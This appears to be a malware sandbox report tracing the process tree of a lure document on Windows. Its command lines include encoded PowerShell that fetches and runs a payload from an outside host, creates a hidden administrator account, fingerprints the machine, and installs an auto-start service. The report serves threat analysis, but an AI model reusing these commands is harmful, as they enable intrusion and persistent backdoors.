CAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABiAHkAdABlAEEAcgByAGEAeQAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAJABiAHkAdABlAEEAcgByAGEAeQBbACQAaQBdACAAPQAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAC0AYgB4AG8AcgAgADEAOwAgAH0ADQAKAAkACQBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBBAHIAcgBhAHkAKQApADsADQAKAAkACQBiAHIAZQBhAGsAOwANAAoACQB9AA0ACgAJAGMAYQB0AGMAaAANAAoACQB7AA0ACgAJAAkAUwBlAG4AZAAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQA7AA0ACgAJAAkAJABjAG8AdQBuAHQAIAAtAD0AIAAxADsADQAKAAkACQBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAHMAIAAxADUAOwANAAoACQB9AA0ACgB9AA0ACgANAAoADQAKAA==
Imagebase:	0x7ff62fbd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	06:29:25
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff753850000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	06:29:25
Start date:	11/12/2024
Path:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\JD-Meta-Ads-Manager.pdf.docx" /o ""
Imagebase:	0x7ff6d0f40000
File size:	1'635'104 bytes
MD5 hash:	E7F3B8EA1B06F46176FC5C35307727D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	06:29:25
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA0ADQAMgBkADYAZAAyAGIAYgBiAGYAOQA1AGEAMABjADIAZAA5ADgAMwAzADUAYwA3AGMAZgAxADIAZAA5AGQANABhADIAMQA2ADMAYgBmAGQAMwAzAGYANAAyADUANAA3AGQAOABlADIAMQA3ADYAMwA0ADkAZgBjADUAYgBlAGMAOQA5ADkAZABmADcANwBlAGQANgBmAGMAMQAwAGMAZAAyAGIAOABmADEAYgBmADYAZQAxADQAMQA5AGEAZgBkADEAYgA4AGUANgA1ADIAZAA2ADAAOAAyADAAYQA1ADYAZgA1AGQAOAA3ADIAYgA5ADgAMwAyAGQANQA4AGMAZgBlADYANQAzADQAOABiAGQAYgA2ADEANgBkAGIAMgAzAGUANAAzAGYANwA5ADcAMgBkAGEAZgAzADkAMQBmADEAMwBiAGQANgBhADYAOQBjADgAOQAxADkAMAAyADgAMAA3AGEAYQBkADQAMgAzADYAMgA3ADgAMQAxAGMAOABlADAAZAA0AGEAYQA3AGUAZQA5ADMAOQBkADcANAA1ADIAMAAxAGUAZQBkADgAMAA2AGUAZQA5ADcAOQBmAGEAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABiAHkAdABlAEEAcgByAGEAeQAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAJABiAHkAdABlAEEAcgByAGEAeQBbACQAaQBdACAAPQAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAC0AYgB4AG8AcgAgADEAOwAgAH0ADQAKAAkACQBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBBAHIAcgBhAHkAKQApADsADQAKAAkACQBiAHIAZQBhAGsAOwANAAoACQB9AA0ACgAJAGMAYQB0AGMAaAANAAoACQB7AA0ACgAJAAkAUwBlAG4AZAAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQA7AA0ACgAJAAkAJABjAG8AdQBuAHQAIAAtAD0AIAAxADsADQAKAAkACQBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAHMAIAAxADUAOwANAAoACQB9AA0ACgB9AA0ACgANAAoADQAKAA==
Imagebase:	0x7ff7ab800000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	06:29:25
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff753850000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	06:29:28
Start date:	11/12/2024
Path:	C:\Windows\System32\sppsvc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sppsvc.exe
Imagebase:	0x7ff7a60a0000
File size:	4'629'328 bytes
MD5 hash:	30C7EF47B57367CC546173BB4BB2BB04
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	06:29:31
Start date:	11/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Imagebase:	0x7ff67ea40000
File size:	57'360 bytes
MD5 hash:	F586835082F632DC8D9404D83BC16316
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	06:29:58
Start date:	11/12/2024
Path:	C:\Windows\Temp\svczHost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Temp\svczHost.exe cakoi10 cocomethode.de
Imagebase:	0x7ff7b10d0000
File size:	8'357'376 bytes
MD5 hash:	9298A0077E8353244A38CAEFE43AF4CB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	06:29:58
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff753850000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	06:29:58
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
Imagebase:	0x7ff62fbd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	06:29:59
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c sc query myRdpService
Imagebase:	0x7ff62fbd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	06:29:59
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Imagebase:	0x7ff7ab800000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	06:29:59
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff753850000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	06:29:59
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff753850000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	06:29:59
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc query myRdpService
Imagebase:	0x7ff6d8ad0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	06:29:59
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Imagebase:	0x7ff7ab800000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	06:29:59
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff753850000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	06:30:34
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c sc query myRdpService
Imagebase:	0x7ff62fbd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 5356, Parent PID: 7952

General

Target ID:	33
Start time:	06:30:34
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff753850000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	06:30:34
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc query myRdpService
Imagebase:	0x7ff6d8ad0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	06:30:35
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c sc stop "myRdpService"
Imagebase:	0x7ff62fbd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	06:30:35
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff753850000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	06:30:35
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop "myRdpService"
Imagebase:	0x7ff6d8ad0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	06:30:36
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c sc query myRdpService
Imagebase:	0x7ff62fbd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 5212, Parent PID: 3408

General

Target ID:	39
Start time:	06:30:36
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff753850000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	06:30:36
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc query myRdpService
Imagebase:	0x7ff6d8ad0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	06:30:44
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService"
Imagebase:	0x7ff62fbd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	06:30:44
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff753850000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	06:30:44
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc delete "myRdpService"
Imagebase:	0x7ff6d8ad0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	06:30:44
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto
Imagebase:	0x7ff6d8ad0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	06:30:44
Start date:	11/12/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net start "myRdpService"
Imagebase:	0x7ff666660000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	06:30:44
Start date:	11/12/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 start "myRdpService"
Imagebase:	0x7ff689bd0000
File size:	183'808 bytes
MD5 hash:	BA0BCCC6029FBBE6D8B41197F252742F
Has elevated privileges:	true
